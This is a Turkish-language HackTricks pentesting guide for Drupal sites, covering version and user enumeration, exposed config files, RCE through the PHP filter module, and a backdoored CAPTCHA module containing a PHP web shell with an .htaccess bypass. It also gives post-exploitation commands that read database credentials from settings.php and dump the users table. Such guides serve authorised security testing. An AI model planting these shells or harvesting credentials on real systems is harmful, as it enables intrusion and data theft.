hacktricks/network-services-pentesting/pentesting-web/drupal.md

9.2 KiB
Raw Permalink Blame History

Drupal

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

{% embed url="https://websec.nl/" %}

Keşif

  • meta'yı kontrol edin
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal içeriği düğümler kullanarak dizinler. Bir düğüm herhangi bir şeyi içerebilir, örneğin bir blog yazısı, anket, makale vb. Sayfa URI'leri genellikle /node/<düğüm kimliği> şeklindedir.
curl drupal-site.com/node/1

Numaralandırma

Drupal varsayılan olarak üç tür kullanıcıyı destekler:

  1. Yönetici: Bu kullanıcı Drupal web sitesi üzerinde tam kontrol sahibidir.
  2. Doğrulanmış Kullanıcı: Bu kullanıcılar web sitesine giriş yapabilir ve izinlerine bağlı olarak makale ekleyebilir ve düzenleyebilir.
  3. Anonim: Tüm web sitesi ziyaretçileri anonim olarak belirlenir. Varsayılan olarak, bu kullanıcılara yalnızca gönderileri okuma izni verilir.

Sürüm

  • /CHANGELOG.txt dosyasını kontrol edin.
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Drupal'ın daha yeni kurulumları varsayılan olarak CHANGELOG.txt ve README.txt dosyalarına erişimi engeller. {% endhint %}

Kullanıcı adı numaralandırma

Kayıt

/user/register adresinde sadece bir kullanıcı adı oluşturmayı deneyin ve eğer ad zaten alınmışsa bildirim alırsınız:

Yeni şifre iste

Mevcut bir kullanıcı adı için yeni bir şifre isterseniz:

Mevcut olmayan bir kullanıcı adı için yeni bir şifre isterseniz:

Kullanıcı sayısını al

/user/<number> adresine erişerek mevcut kullanıcı sayısını görebilirsiniz, bu durumda /users/3 adresi bulunamadı hatası döndürür:

Gizli sayfalar

/node/$ şeklinde bir sorgulama yapın, burada $ bir numaradır (örneğin 1 ile 500 arasında).
Bu şekilde gizli sayfalar (test, dev) bulabilirsiniz ki bunlar arama motorları tarafından referans gösterilmez.

Kurulu modüller bilgisi

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Otomatik

droopescan scan drupal -u http://drupal-site.local

RCE

PHP Filtre Modülü ile

{% hint style="warning" %} Drupal'ın (8. sürümden önceki sürümlerinde) eski sürümlerinde, bir yönetici olarak giriş yaparak PHP filtresi modülünü etkinleştirmek mümkündü, bu da "Gömülü PHP kod/dilimlerinin değerlendirilmesine izin verir." {% endhint %}

Eklentinin php olarak yüklü olması gerekmektedir (/modules/php adresine erişerek kontrol edin ve eğer 403 dönerse, mevcut, eğer bulunamazsa, o zaman php eklentisi yüklü değil demektir)

Modüller -> (Kontrol Et) PHP Filtresi -> Yapılandırmayı Kaydet

Ardından İçerik Ekle'ye tıklayın -> Temel Sayfa veya Makale seçin -> Gövdede php kabuk kodunu yazın -> Metin biçiminde PHP kodu seçin -> Önizleme seçin

Son olarak sadece yeni oluşturulan düğüme erişin:

curl http://drupal-site.local/node/3

PHP Filtre Modülünü Yükle

8 ve sonraki sürümlerden itibaren, PHP Filtre modülü varsayılan olarak yüklenmez. Bu işlevselliği kullanabilmek için modülü kendimiz yüklememiz gerekecek.

  1. Modülün en güncel sürümünü Drupal web sitesinden indirin.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. İndirildikten sonra Yönetim > Raporlar > Kullanılabilir güncellemeler bölümüne gidin.
  4. Göz at'a tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardından Yükle'ye tıklayın.
  5. Modül yüklendikten sonra İçerik'e tıklayabilir ve Drupal 7 örneğinde yaptığımız gibi yeni bir temel sayfa oluşturabiliriz. Yine, Metin biçimiılır menüsünden PHP kodu'nu seçtiğinizden emin olun.

Arka Kapılı Modül

Bir arka kapılı modül, mevcut bir modüle bir kabuk ekleyerek oluşturulabilir. Modüller drupal.org web sitesinde bulunabilir. CAPTCHA gibi bir modül seçelim. Aşağı kaydırın ve tar.gz arşivi için bağlantıyı kopyalayın.

  • Arşivi indirin ve içeriğini çıkarın.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • İçeriği olan bir PHP web kabuğu oluşturun:
<?php
system($_GET["cmd"]);
?>
  • Ardından, kendimize klasöre erişim sağlamak için bir .htaccess dosyası oluşturmamız gerekiyor. Bu, Drupal'ın /modules klasörüne doğrudan erişimi reddettiği için gereklidir.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Yukarıdaki yapılandırma, /modules içinde bir dosya istediğimizde / klasörü için kurallar uygulayacaktır. Her iki dosyayı da captcha klasörüne kopyalayın ve bir arşiv oluşturun.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Websiteye yönetici erişimine sahip olduğumuzu varsayarak, Yönet üzerine tıklayın ve ardından kenar çubuğunda Genişlet seçeneğine tıklayın. Daha sonra + Yeni modül yükle düğmesine tıklayın ve yükleme sayfasına yönlendirileceksiniz, örneğin http://drupal-site.local/admin/modules/install Arkaplandan eklenmiş Captcha arşivine göz atın ve Yükle'ye tıklayın.
  • Yükleme başarılı olduktan sonra, komutları yürütmek için /modules/captcha/shell.php sayfasına göz atın.

Sonrası Sızma

settings.php dosyasını okuyun

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Veritabanından Kullanıcıları Dökün

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Referanslar

{% embed url="https://websec.nl/" %}

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: